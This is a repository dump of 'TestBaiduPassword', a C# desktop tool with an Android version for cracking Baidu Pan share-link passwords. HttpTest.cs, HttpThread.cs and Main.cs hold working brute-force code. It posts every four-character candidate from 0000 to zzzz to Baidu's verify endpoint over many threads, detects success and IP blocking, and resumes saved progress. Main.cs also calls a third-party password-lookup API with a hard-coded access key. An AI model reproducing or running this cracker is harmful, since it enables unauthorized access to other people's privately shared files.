Repository: zgcwkj/TestBaiduPassword Branch: master Commit: ff62e799b37b Files: 146 Total size: 867.4 KB Directory structure: gitextract_pct2qrpj/ ├── .github/ │ └── FUNDING.yml ├── Application/ │ └── TestPassword.apk ├── README.md ├── TestPassword PRO V1.8.0.4/ │ ├── TestPassword/ │ │ ├── Hash.cs │ │ ├── HttpTest.cs │ │ ├── HttpThread.cs │ │ ├── Main.Designer.cs │ │ ├── Main.cs │ │ ├── Main.resx │ │ ├── Program.cs │ │ ├── Properties/ │ │ │ ├── AssemblyInfo.cs │ │ │ ├── Resources.Designer.cs │ │ │ ├── Resources.resx │ │ │ ├── Settings.Designer.cs │ │ │ └── Settings.settings │ │ ├── StaticClass.cs │ │ └── TestPassword.csproj │ └── TestPassword.sln ├── TestPassword V1.0.0.0/ │ ├── TestPassword/ │ │ ├── Access.cs │ │ ├── GoFind.cs │ │ ├── Hash.cs │ │ ├── Main.Designer.cs │ │ ├── Main.cs │ │ ├── Main.resx │ │ ├── Program.cs │ │ ├── Properties/ │ │ │ ├── AssemblyInfo.cs │ │ │ ├── Resources.Designer.cs │ │ │ ├── Resources.resx │ │ │ ├── Settings.Designer.cs │ │ │ └── Settings.settings │ │ ├── StaticClass.cs │ │ └── TestPassword.csproj │ └── TestPassword.sln ├── TestPassword V1.0.0.0 APK/ │ ├── .gitignore │ ├── .idea/ │ │ ├── gradle.xml │ │ ├── misc.xml │ │ ├── modules.xml │ │ └── runConfigurations.xml │ ├── app/ │ │ ├── .gitignore │ │ ├── build.gradle │ │ ├── proguard-rules.pro │ │ └── src/ │ │ ├── androidTest/ │ │ │ └── java/ │ │ │ └── com/ │ │ │ └── zgcwkj/ │ │ │ └── baidupantest/ │ │ │ └── testpassword/ │ │ │ └── ExampleInstrumentedTest.java │ │ ├── main/ │ │ │ ├── AndroidManifest.xml │ │ │ ├── java/ │ │ │ │ └── com/ │ │ │ │ └── zgcwkj/ │ │ │ │ └── baidupantest/ │ │ │ │ └── testpassword/ │ │ │ │ └── MainActivity.java │ │ │ └── res/ │ │ │ ├── drawable/ │ │ │ │ └── ic_launcher_background.xml │ │ │ ├── drawable-v24/ │ │ │ │ └── ic_launcher_foreground.xml │ │ │ ├── layout/ │ │ │ │ └── activity_main.xml │ │ │ ├── mipmap-anydpi-v26/ │ │ │ │ ├── ic_launcher.xml │ │ │ │ └── ic_launcher_round.xml │ │ │ └── values/ │ │ │ ├── colors.xml │ │ │ ├── ic_launcher_background.xml │ │ │ ├── strings.xml │ │ │ └── styles.xml │ │ └── test/ │ │ └── java/ │ │ └── com/ │ │ └── zgcwkj/ │ │ └── baidupantest/ │ │ └── testpassword/ │ │ └── ExampleUnitTest.java │ ├── build.gradle │ ├── gradle/ │ │ └── wrapper/ │ │ ├── gradle-wrapper.jar │ │ └── gradle-wrapper.properties │ ├── gradle.properties │ ├── gradlew │ ├── gradlew.bat │ └── settings.gradle ├── TestPassword V1.8.0.4/ │ ├── TestPassword/ │ │ ├── Hash.cs │ │ ├── HttpTest.cs │ │ ├── HttpThread.cs │ │ ├── Main.Designer.cs │ │ ├── Main.cs │ │ ├── Main.resx │ │ ├── Program.cs │ │ ├── Properties/ │ │ │ ├── AssemblyInfo.cs │ │ │ ├── Resources.Designer.cs │ │ │ ├── Resources.resx │ │ │ ├── Settings.Designer.cs │ │ │ └── Settings.settings │ │ ├── StaticClass.cs │ │ └── TestPassword.csproj │ └── TestPassword.sln ├── TestPassword V1.8.0.5/ │ ├── TestPassword/ │ │ ├── Hash.cs │ │ ├── HttpTest.cs │ │ ├── HttpThread.cs │ │ ├── Main.Designer.cs │ │ ├── Main.cs │ │ ├── Main.resx │ │ ├── Program.cs │ │ ├── Properties/ │ │ │ ├── AssemblyInfo.cs │ │ │ ├── Resources.Designer.cs │ │ │ ├── Resources.resx │ │ │ ├── Settings.Designer.cs │ │ │ └── Settings.settings │ │ ├── StaticClass.cs │ │ └── TestPassword.csproj │ └── TestPassword.sln ├── TestPassword V1.8.0.6/ │ ├── TestPassword/ │ │ ├── Hash.cs │ │ ├── HttpHelp.cs │ │ ├── HttpProxy.cs │ │ ├── HttpTest.cs │ │ ├── HttpThread.cs │ │ ├── Main.Designer.cs │ │ ├── Main.cs │ │ ├── Main.resx │ │ ├── Program.cs │ │ ├── Properties/ │ │ │ ├── AssemblyInfo.cs │ │ │ ├── Resources.Designer.cs │ │ │ ├── Resources.resx │ │ │ ├── Settings.Designer.cs │ │ │ └── Settings.settings │ │ ├── StaticClass.cs │ │ └── TestPassword.csproj │ └── TestPassword.sln ├── TestPassword V1.8.1.0/ │ ├── TestPassword/ │ │ ├── Hash.cs │ │ ├── HttpHelp.cs │ │ ├── HttpProxy.cs │ │ ├── HttpTest.cs │ │ ├── HttpThread.cs │ │ ├── Main.Designer.cs │ │ ├── Main.cs │ │ ├── Main.resx │ │ ├── Program.cs │ │ ├── Properties/ │ │ │ ├── AssemblyInfo.cs │ │ │ ├── Resources.Designer.cs │ │ │ ├── Resources.resx │ │ │ ├── Settings.Designer.cs │ │ │ └── Settings.settings │ │ ├── Proxy.Designer.cs │ │ ├── Proxy.cs │ │ ├── Proxy.resx │ │ ├── StaticClass.cs │ │ └── TestPassword.csproj │ └── TestPassword.sln └── TestPassword V1.8.1.1/ ├── TestPassword/ │ ├── Hash.cs │ ├── HttpTest.cs │ ├── HttpThread.cs │ ├── Main.Designer.cs │ ├── Main.cs │ ├── Main.resx │ ├── Program.cs │ ├── Properties/ │ │ ├── AssemblyInfo.cs │ │ ├── Resources.Designer.cs │ │ ├── Resources.resx │ │ ├── Settings.Designer.cs │ │ └── Settings.settings │ ├── Proxy.Designer.cs │ ├── Proxy.cs │ ├── Proxy.resx │ ├── StaticClass.cs │ └── TestPassword.csproj └── TestPassword.sln ================================================ FILE CONTENTS ================================================ ================================================ FILE: .github/FUNDING.yml ================================================ # These are supported funding model platforms github: [zgcwkj, admin] # Replace with up to 4 GitHub Sponsors-enabled usernames e.g., [user1, user2] patreon: # Replace with a single Patreon username tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry liberapay: # Replace with a single Liberapay username issuehunt: # Replace with a single IssueHunt username otechie: # Replace with a single Otechie username custom: http://blog.zgcwkj.top # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2'] ================================================ FILE: README.md ================================================ # TestBaiduPassword 百度网盘分享文件密码测试器 关联帖子:https://www.52pojie.cn/thread-680681-1-1.html ``` PS:如果是要使用旧版的程序请下载源码进行编译,谢谢 ``` ## 更新历史: 1.8.1.1(2018-11-03) >调整内部机制,避免使用起来导致占用内存过多的问题 >修改代理功能实现,调整代理为程序内部,也就是说不影响系统的网络 >修复多线程导致 代理块 出现严重的问题 >更正一个很严重的问题:多线程导致 密码精度 缺失一个的问题 >优化大部分代理逻辑问题(具体实测) 1.8.1.0(2018-10-17) >修复 1806 版的代理代码判断错误问题 >删除启动时判断网络代码块 >优化代理文件生成的方法(具体实测) >优化代理的代码逻辑问题 1.8.0.6(2018-06-14) >增加代理服务人口(测试阶段) ==》kTWO 提供技术支持 >优化逻辑代码,整理代码等 1.8.0.5(2018-05-29) >优化判断等逻辑问题,增加安卓端APP 1.8.0.4 PRO(2018-04-13) >增加调用API,尝试直接获取密码 1.8.0.4(2018-04-12) >更新了线程可停止功能 >支持恢复上一次检索链接的数据 >等。。。。。 1.0.0.0(0000-00-00) >基本的功能搭建 ==》Matrix 提供技术支持 >其它忘记了 根据 https://www.52pojie.cn/thread-629100-1-1.html 进行优化 ## 功能特色: 在原本的基础上添加对链接的兼容。格式如下面: http://pan.baidu.com/share/init?surl=xxx https://pan.baidu.com/share/init?surl=xxx http://pan.baidu.com/s/1xxx https://pan.baidu.com/s/1xxx ## 一些笔记: ``` 程序的多线程坑: 线程和任务是 N 对 1 ,存在重复调用问题导致方法块的冲突,以我的现在的技术是实现不了太难调 线程和任务是 N 对 N ,不存在重复调用问题也就不会导致方法块的冲突,这种实现相对简单 ``` ## 转载声明: 本程序可以通过任何方式进行转载,但请务必保留开源的地址以便我能够及时发现 BUG 以及使用者在使用过程中出现了 BUG 也能够很好的进行反馈 ## 项目贡献者: zgcwkj 博客:http://blog.zgcwkj.cn Matrix 博客:http://www.imwxz.com kTWO 博客:http://www.k2zone.cn ## 本源码仅提供参考,如因本代码导致出现的任何问题和所有开发者无关 ================================================ FILE: TestPassword PRO V1.8.0.4/TestPassword/Hash.cs ================================================ using System; using System.Linq; using System.Text; using System.Collections.Generic; namespace zgcwkj { public static class Hash { //哈希类 36进制 //有效哈希[10000000,11679615] #region 只支持4位 By MXWXZ public static string HashTo4Str(int hash) { string ret = ""; hash -= 10000000; while (hash > 0) { ret += Hash2Char(hash % 36); hash /= 36; } if (ret.Length == 3) ret += "0";//前导零 if (ret.Length == 2) ret += "00"; if (ret.Length == 1) ret += "000"; if (ret.Length == 0) ret += "0000"; return reverse(ret); } public static int StrTo4Hash(string str) { int ret = 0; ret += Char2Hash(str[0]) * 46656; ret += Char2Hash(str[1]) * 1296; ret += Char2Hash(str[2]) * 36; ret += Char2Hash(str[3]); ret += 10000000;//防止前导零 return ret; } #endregion #region 只支持6位 By zgcwkj public static string HashTo6Str(int hash) { string ret = ""; hash -= 100000; while (hash > 0) { ret += Hash2Char(hash % 36); hash /= 36; } if (ret.Length == 5) ret += "0";//前导零 if (ret.Length == 4) ret += "00"; if (ret.Length == 3) ret += "000"; if (ret.Length == 2) ret += "0000"; if (ret.Length == 1) ret += "00000"; if (ret.Length == 0) ret += "000000"; return reverse(ret); } public static int StrTo6Hash(string str) { int ret = 0; ret += Char2Hash(str[0]) * 60466176; ret += Char2Hash(str[1]) * 1679616; ret += Char2Hash(str[2]) * 46656; ret += Char2Hash(str[3]) * 1296; ret += Char2Hash(str[4]) * 36; ret += Char2Hash(str[5]); ret += 100000;//防止前导零 return ret; } #endregion private static int Char2Hash(char c) { if (c >= '0' && c <= '9') return c - '0'; else return c - 'a' + 10; } private static char Hash2Char(int hash) { if (hash >= 0 && hash <= 9) return (char)('0' + hash); else return (char)('a' + hash - 10); } private static string reverse(string str) { char[] arr = str.ToCharArray(); Array.Reverse(arr); return new string(arr); } } } ================================================ FILE: TestPassword PRO V1.8.0.4/TestPassword/HttpTest.cs ================================================ using System; using System.IO; using System.Linq; using System.Net; using System.Text; namespace zgcwkj { /// /// Http测试类(百度网盘分享连接密码测试) /// public class HttpTest { string info = "";//唯一识别文件的值 /// /// 实例测试类 /// /// 访问的链接 public HttpTest(string url) { info = "surl=" + url.Replace("https", "").Replace("http", "").Replace("://pan.baidu.com/", "").Replace("share/init?surl=", "").Replace("s/1", ""); } /// /// 访问网页 /// /// public string Get() { return HttpGet("https://pan.baidu.com/share/init?" + info); } /// /// 提交密码 /// /// 密码 /// public string Post(string pwd) { DateTime time = DateTime.Now; DateTime startTime = TimeZone.CurrentTimeZone.ToLocalTime(new DateTime(1970, 1, 1, 0, 0, 0, 0)); string ts = ((time.Ticks - startTime.Ticks) / 10000).ToString(); string url = "https://pan.baidu.com/share/verify?" + info + "&t=" + ts.ToString() + "&bdstoken=null&channel=chunlei&clienttype=0&web=1&app_id=123456&logid=MTUwMTEyNDM2OTY5MzAuOTE5NTU5NjQwMTk0NDM0OA=="; string data = "pwd=" + pwd + "&vcode=&vcode_str="; return HttpPost(url, data); } #region 网络请求 CookieContainer cookie = new CookieContainer(); #region Get请求 /// /// 请求路径 /// /// 请求的路径 /// 返回请求的网页数据 private string HttpGet(string Url) { HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url); request.Method = "GET"; request.ContentType = "text/html;charset=UTF-8"; request.CookieContainer = cookie; try { HttpWebResponse response = (HttpWebResponse)request.GetResponse(); StreamReader myStreamReader = new StreamReader(response.GetResponseStream(), Encoding.UTF8); string retString = myStreamReader.ReadToEnd(); myStreamReader.Close(); return retString; } catch (Exception e) { return e.Message; } } #endregion #region Post请求 /// /// 提交数据 /// /// 提交的路径 /// 提交的数据 /// 返回结果 private string HttpPost(string Url, string Data) { try { HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url); request.ContentType = "application/x-www-form-urlencoded;charset=UTF-8"; request.Referer = "https://pan.baidu.com/share/init?" + info; request.ContentLength = Encoding.UTF8.GetByteCount(Data); request.CookieContainer = cookie; request.Method = "POST"; Stream myRequestStream = request.GetRequestStream(); byte[] postBytes = Encoding.UTF8.GetBytes(Data); myRequestStream.Write(postBytes, 0, postBytes.Length); HttpWebResponse response = (HttpWebResponse)request.GetResponse(); response.Cookies = cookie.GetCookies(response.ResponseUri); StreamReader myStreamReader = new StreamReader(response.GetResponseStream(), Encoding.UTF8); string retString = myStreamReader.ReadToEnd(); myStreamReader.Close(); return retString; } catch (Exception ex) { return ex.Message; } } #endregion #endregion } } ================================================ FILE: TestPassword PRO V1.8.0.4/TestPassword/HttpThread.cs ================================================ using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.IO; using System.Timers; namespace zgcwkj { public class HttpThread { Main myMain;//主窗体 int StartValue = 0;//基值 int NumberValue = 0;//剩余次数 Timer timer;//线程 string ThreadID;//线程ID /// /// http请求线程类 /// /// 主窗体 /// 线程名称 /// 开始值 /// 结束值 /// 线程速度 public HttpThread(Main main, string name, int start, int number, int interval) { myMain = main; StartValue = start; NumberValue = number; ThreadID = StaticClass.file + "/" + name; timer = new Timer(interval); } /// /// 启动线程 /// /// public HttpThread Start() { #region 载入历史参数 try { if (File.Exists(ThreadID + ".ini")) { string _start = File.ReadAllText(ThreadID + ".ini"); if (_start != "") StartValue = Convert.ToInt32(_start); } } catch { } #endregion timer.Elapsed += new ElapsedEventHandler(_Timer); timer.Start(); return this; } private void _Timer(object sender, ElapsedEventArgs e) { Timer timer = sender as Timer; if (NumberValue < StartValue || StaticClass.status) { #region 保存历史参数 try { File.Delete(ThreadID + ".ini"); File.AppendAllText(ThreadID + ".ini", StartValue.ToString()); } catch { } #endregion timer.Stop(); } else { string password = Hash.HashTo4Str(StartValue); HttpTest httptest = new HttpTest(StaticClass.url); myMain.ModifyStr(httptest.Post(password), password); StartValue = StartValue + 1; } } } } ================================================ FILE: TestPassword PRO V1.8.0.4/TestPassword/Main.Designer.cs ================================================ namespace zgcwkj { partial class Main { /// /// 必需的设计器变量。 /// private System.ComponentModel.IContainer components = null; /// /// 清理所有正在使用的资源。 /// /// 如果应释放托管资源,为 true;否则为 false。 protected override void Dispose(bool disposing) { if (disposing && (components != null)) { components.Dispose(); } base.Dispose(disposing); } #region Windows 窗体设计器生成的代码 /// /// 设计器支持所需的方法 - 不要修改 /// 使用代码编辑器修改此方法的内容。 /// private void InitializeComponent() { System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Main)); this.txt_url = new System.Windows.Forms.Label(); this.text_url = new System.Windows.Forms.TextBox(); this.gb_1 = new System.Windows.Forms.GroupBox(); this.text_zxsd = new System.Windows.Forms.TextBox(); this.text_xczs = new System.Windows.Forms.TextBox(); this.text_jsd = new System.Windows.Forms.TextBox(); this.text_ksd = new System.Windows.Forms.TextBox(); this.txt_zxsd = new System.Windows.Forms.Label(); this.txt_xczs = new System.Windows.Forms.Label(); this.txt_jsd = new System.Windows.Forms.Label(); this.txt_ksd = new System.Windows.Forms.Label(); this.txt_ts = new System.Windows.Forms.Label(); this.btn_start = new System.Windows.Forms.Button(); this.fBD = new System.Windows.Forms.FolderBrowserDialog(); this.btn_status = new System.Windows.Forms.Button(); this.btn_net = new System.Windows.Forms.Button(); this.gb_1.SuspendLayout(); this.SuspendLayout(); // // txt_url // this.txt_url.AutoSize = true; this.txt_url.Location = new System.Drawing.Point(12, 15); this.txt_url.Name = "txt_url"; this.txt_url.Size = new System.Drawing.Size(65, 12); this.txt_url.TabIndex = 0; this.txt_url.Text = "目标地址:"; // // text_url // this.text_url.Location = new System.Drawing.Point(83, 11); this.text_url.Name = "text_url"; this.text_url.Size = new System.Drawing.Size(389, 21); this.text_url.TabIndex = 1; // // gb_1 // this.gb_1.Controls.Add(this.text_zxsd); this.gb_1.Controls.Add(this.text_xczs); this.gb_1.Controls.Add(this.text_jsd); this.gb_1.Controls.Add(this.text_ksd); this.gb_1.Controls.Add(this.txt_zxsd); this.gb_1.Controls.Add(this.txt_xczs); this.gb_1.Controls.Add(this.txt_jsd); this.gb_1.Controls.Add(this.txt_ksd); this.gb_1.Location = new System.Drawing.Point(12, 38); this.gb_1.Name = "gb_1"; this.gb_1.Size = new System.Drawing.Size(460, 73); this.gb_1.TabIndex = 2; this.gb_1.TabStop = false; this.gb_1.Text = "相关配置"; // // text_zxsd // this.text_zxsd.Location = new System.Drawing.Point(321, 17); this.text_zxsd.MaxLength = 4; this.text_zxsd.Name = "text_zxsd"; this.text_zxsd.Size = new System.Drawing.Size(131, 21); this.text_zxsd.TabIndex = 5; this.text_zxsd.Text = "200"; this.text_zxsd.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this._KeyPress); // // text_xczs // this.text_xczs.Location = new System.Drawing.Point(93, 17); this.text_xczs.MaxLength = 5; this.text_xczs.Name = "text_xczs"; this.text_xczs.Size = new System.Drawing.Size(131, 21); this.text_xczs.TabIndex = 4; this.text_xczs.Text = "100"; this.text_xczs.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this._KeyPress); // // text_jsd // this.text_jsd.Location = new System.Drawing.Point(321, 43); this.text_jsd.MaxLength = 4; this.text_jsd.Name = "text_jsd"; this.text_jsd.Size = new System.Drawing.Size(131, 21); this.text_jsd.TabIndex = 7; this.text_jsd.Text = "zzzz"; // // text_ksd // this.text_ksd.Location = new System.Drawing.Point(93, 43); this.text_ksd.MaxLength = 4; this.text_ksd.Name = "text_ksd"; this.text_ksd.Size = new System.Drawing.Size(131, 21); this.text_ksd.TabIndex = 6; this.text_ksd.Text = "0000"; // // txt_zxsd // this.txt_zxsd.AutoSize = true; this.txt_zxsd.Location = new System.Drawing.Point(232, 20); this.txt_zxsd.Name = "txt_zxsd"; this.txt_zxsd.Size = new System.Drawing.Size(89, 12); this.txt_zxsd.TabIndex = 1; this.txt_zxsd.Text = "线程执行速度:"; // // txt_xczs // this.txt_xczs.AutoSize = true; this.txt_xczs.Location = new System.Drawing.Point(10, 20); this.txt_xczs.Name = "txt_xczs"; this.txt_xczs.Size = new System.Drawing.Size(65, 12); this.txt_xczs.TabIndex = 0; this.txt_xczs.Text = "线程总数:"; // // txt_jsd // this.txt_jsd.AutoSize = true; this.txt_jsd.Location = new System.Drawing.Point(232, 46); this.txt_jsd.Name = "txt_jsd"; this.txt_jsd.Size = new System.Drawing.Size(77, 12); this.txt_jsd.TabIndex = 3; this.txt_jsd.Text = "密码结束点:"; // // txt_ksd // this.txt_ksd.AutoSize = true; this.txt_ksd.Location = new System.Drawing.Point(10, 46); this.txt_ksd.Name = "txt_ksd"; this.txt_ksd.Size = new System.Drawing.Size(77, 12); this.txt_ksd.TabIndex = 2; this.txt_ksd.Text = "密码开始点:"; // // txt_ts // this.txt_ts.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) | System.Windows.Forms.AnchorStyles.Left) | System.Windows.Forms.AnchorStyles.Right))); this.txt_ts.ForeColor = System.Drawing.Color.Red; this.txt_ts.Location = new System.Drawing.Point(12, 163); this.txt_ts.Name = "txt_ts"; this.txt_ts.Size = new System.Drawing.Size(460, 69); this.txt_ts.TabIndex = 5; this.txt_ts.Text = "程序:百度网盘分享文件密码分析器 V 1.8.0.4 PRO\r\n\r\n作者:zgcwkj 20180413 更新 (请您著明本程序的出处,谢谢)\r\n\r\n说明:本程序" + "完全免费,来自 52pojie 的 MXWXZ 提供整体的框架\r\n\r\n开源地址:https://github.com/zgcwkj/TestBaiduPassw" + "ord"; this.txt_ts.Click += new System.EventHandler(this.txt_ts_Click); // // btn_start // this.btn_start.Font = new System.Drawing.Font("宋体", 14F, System.Drawing.FontStyle.Bold); this.btn_start.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(192)))), ((int)(((byte)(0)))), ((int)(((byte)(192))))); this.btn_start.Location = new System.Drawing.Point(12, 114); this.btn_start.Name = "btn_start"; this.btn_start.Size = new System.Drawing.Size(234, 44); this.btn_start.TabIndex = 4; this.btn_start.Text = "打开/生成 解决方案"; this.btn_start.UseVisualStyleBackColor = true; this.btn_start.Click += new System.EventHandler(this.btn_start_Click); // // btn_status // this.btn_status.Enabled = false; this.btn_status.Font = new System.Drawing.Font("宋体", 14F, System.Drawing.FontStyle.Bold); this.btn_status.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(192)))), ((int)(((byte)(0)))), ((int)(((byte)(192))))); this.btn_status.Location = new System.Drawing.Point(252, 114); this.btn_status.Name = "btn_status"; this.btn_status.Size = new System.Drawing.Size(94, 44); this.btn_status.TabIndex = 6; this.btn_status.Text = "启动"; this.btn_status.UseVisualStyleBackColor = true; this.btn_status.Click += new System.EventHandler(this.btn_status_Click); // // btn_net // this.btn_net.Font = new System.Drawing.Font("宋体", 14F, System.Drawing.FontStyle.Bold); this.btn_net.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(255)))), ((int)(((byte)(128)))), ((int)(((byte)(0))))); this.btn_net.Location = new System.Drawing.Point(364, 114); this.btn_net.Name = "btn_net"; this.btn_net.Size = new System.Drawing.Size(108, 44); this.btn_net.TabIndex = 6; this.btn_net.Text = "联网查密"; this.btn_net.UseVisualStyleBackColor = true; this.btn_net.Click += new System.EventHandler(this.btn_net_Click); // // Main // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.ClientSize = new System.Drawing.Size(484, 241); this.Controls.Add(this.btn_net); this.Controls.Add(this.btn_status); this.Controls.Add(this.txt_ts); this.Controls.Add(this.gb_1); this.Controls.Add(this.text_url); this.Controls.Add(this.txt_url); this.Controls.Add(this.btn_start); this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); this.MaximizeBox = false; this.MaximumSize = new System.Drawing.Size(500, 300); this.MinimizeBox = false; this.MinimumSize = new System.Drawing.Size(500, 280); this.Name = "Main"; this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; this.Text = "百度网盘分享文件密码分析器"; this.gb_1.ResumeLayout(false); this.gb_1.PerformLayout(); this.ResumeLayout(false); this.PerformLayout(); } #endregion private System.Windows.Forms.Label txt_url; private System.Windows.Forms.TextBox text_url; private System.Windows.Forms.GroupBox gb_1; private System.Windows.Forms.Label txt_ksd; private System.Windows.Forms.Label txt_jsd; private System.Windows.Forms.TextBox text_jsd; private System.Windows.Forms.TextBox text_ksd; private System.Windows.Forms.TextBox text_zxsd; private System.Windows.Forms.TextBox text_xczs; private System.Windows.Forms.Label txt_zxsd; private System.Windows.Forms.Label txt_xczs; private System.Windows.Forms.Label txt_ts; private System.Windows.Forms.Button btn_start; private System.Windows.Forms.FolderBrowserDialog fBD; private System.Windows.Forms.Button btn_status; private System.Windows.Forms.Button btn_net; } } ================================================ FILE: TestPassword PRO V1.8.0.4/TestPassword/Main.cs ================================================ using System; using System.IO; using System.Net; using System.Text; using System.Text.RegularExpressions; using System.Timers; using System.Windows.Forms; namespace zgcwkj { public partial class Main : Form { public Main() { InitializeComponent(); } /// /// 解决方案 /// private void btn_start_Click(object sender, EventArgs e) { if (fBD.ShowDialog() == DialogResult.OK) { //MessageBox.Show(fBD.SelectedPath); #region 生成配置文件 StaticClass.file = fBD.SelectedPath; string Configuration; try { Configuration = File.ReadAllText(StaticClass.file + "/Configuration.ini"); string[] str = Configuration.Split('∆'); text_url.Text = str[0]; text_xczs.Text = str[1]; text_zxsd.Text = str[2]; } catch { Configuration = text_url.Text + "∆" + text_xczs.Text + "∆" + text_zxsd.Text; File.Delete(StaticClass.file + "/Configuration.ini"); File.AppendAllText(StaticClass.file + "/Configuration.ini", Configuration); } StaticClass.url = text_url.Text; StaticClass.status = false; #endregion btn_status.Enabled = true; } } /// /// 启动或停止 /// private void btn_status_Click(object sender, EventArgs e) { #region 防止空文本也执行 if (text_url.Text == "") { MessageBox.Show("连接呢?"); return; } if (text_xczs.Text == "") { MessageBox.Show("线程总数错误"); return; } if (text_zxsd.Text == "") { MessageBox.Show("线程执行速度错误"); return; } if (text_ksd.Text.Length != 4) { MessageBox.Show("密码开始点错误"); return; } if (text_jsd.Text.Length != 4) { MessageBox.Show("密码结束点错误"); return; } #endregion if (btn_status.Text == "停止") { btn_status.Text = "启动"; btn_status.Enabled = false; StaticClass.status = true; } else { btn_status.Text = "停止"; #region 基本的线程 int xczs = Convert.ToInt32(text_xczs.Text);//线程总数 int zxsd = Convert.ToInt32(text_zxsd.Text);//线程速度 int start = Hash.StrTo4Hash(text_ksd.Text);//起始值 int end = Hash.StrTo4Hash(text_jsd.Text);//结束值 int total = end - start + 1;//尝试的总数 int section = total / xczs;//线程的次数 #endregion #region 创建线程 for (int i = 1; i <= xczs; i++) { int _start = start + section * (i - 1);//一条线程的开始值 int _end = start + section * i;//一条线程的结束值 new HttpThread(this, i.ToString(), _start, _end, zxsd).Start(); } #endregion } } /// /// 联网查密(用到互联网搜索功能) /// private void btn_net_Click(object sender, EventArgs e) { if (text_url.Text.Trim() == "") { MessageBox.Show("请输入链接"); return; } MessageBox.Show("本服务由 云盘万能钥匙(www.ypsuperkey.com)提供,本人仅是使用提供的接口"); string info = text_url.Text.Replace("https", "").Replace("http", "").Replace("://pan.baidu.com/", "").Replace("share/init?surl=", "").Replace("s/1", ""); string url = "https://www.ypsuperkey.com/api/items/BDY-" + info + "?access_key=4fxNbkKKJX2pAm3b8AEu2zT5d2MbqGbD&client_version=zg"; string data = StaticClass.HttpGet(url);//请求并获得返回数据 data = "密码为" + Regex.Match(data, "\"access_code\":\".+?\"").Value.ToString().Replace("\"", "").Replace("access_code:", ""); if (data == "密码为") data = "还是老老实实暴密码吧"; MessageBox.Show(data, "提示"); } /// /// 链接跳转 /// private void txt_ts_Click(object sender, EventArgs e) { try { System.Diagnostics.Process.Start("https://github.com/zgcwkj/TestBaiduPassword"); } catch { } try { System.Diagnostics.Process.Start("http://blog.zgcwkj.top"); } catch { } } #region 委托进行显示数据 delegate void Modifystr(string str1, string str2); public void ModifyStr(string str1, string str2) { if (InvokeRequired) { Modifystr stcb = new Modifystr(ModifyStr); Invoke(stcb, new object[] { str1, str2 }); } else { txt_ts.Text = str1 + "》正在尝试:" + str2;//显示点啥 File.AppendAllText(StaticClass.file + "/logs.ini", txt_ts.Text + "\r\n");//输出日志 if (str1.Contains("\"errno\":0"))//密码正常 { StaticClass.status = true; MessageBox.Show("密码是:" + str2); } else if (str1.Contains("\"errno\":-9"))//密码错误 { } else if (str1.Contains("\"errno\":-62"))//要输入验证码 { } else if (str1.Contains("404"))//拒绝访问 { StaticClass.status = true; MessageBox.Show("你的IP被拒绝访问,请稍后重试"); } else { }//未知错误 } } #endregion /// /// 限制输入 /// private void _KeyPress(object sender, KeyPressEventArgs e) { if ((Keys)e.KeyChar >= Keys.D0 && (Keys)e.KeyChar <= Keys.D9 || (Keys)e.KeyChar == Keys.Back) { } else e.Handled = true; } } } ================================================ FILE: TestPassword PRO V1.8.0.4/TestPassword/Main.resx ================================================  text/microsoft-resx 2.0 System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 17, 17 33 AAABAAEAAAAAAAEAIADXfQAAFgAAAIlQTkcNChoKAAAADUlIRFIAAAEAAAABAAgGAAAAXHKoZgAAAAlw SFlzAAALEwAACxMBAJqcGAAAOe5pVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdp bj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+Cjx4OnhtcG1ldGEgeG1sbnM6eD0i YWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuNi1jMTM4IDc5LjE1OTgyNCwg MjAxNi8wOS8xNC0wMTowOTowMSAgICAgICAgIj4KICAgPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8v d3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4KICAgICAgPHJkZjpEZXNjcmlwdGlv biByZGY6YWJvdXQ9IiIKICAgICAgICAgICAgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hh cC8xLjAvIgogICAgICAgICAgICB4bWxuczpkYz0iaHR0cDovL3B1cmwub3JnL2RjL2VsZW1lbnRzLzEu MS8iCiAgICAgICAgICAgIHhtbG5zOnBob3Rvc2hvcD0iaHR0cDovL25zLmFkb2JlLmNvbS9waG90b3No b3AvMS4wLyIKICAgICAgICAgICAgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEu MC9tbS8iCiAgICAgICAgICAgIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAv c1R5cGUvUmVzb3VyY2VFdmVudCMiCiAgICAgICAgICAgIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9i ZS5jb20vdGlmZi8xLjAvIgogICAgICAgICAgICB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29t L2V4aWYvMS4wLyI+CiAgICAgICAgIDx4bXA6Q3JlYXRvclRvb2w+QWRvYmUgUGhvdG9zaG9wIENDIDIw 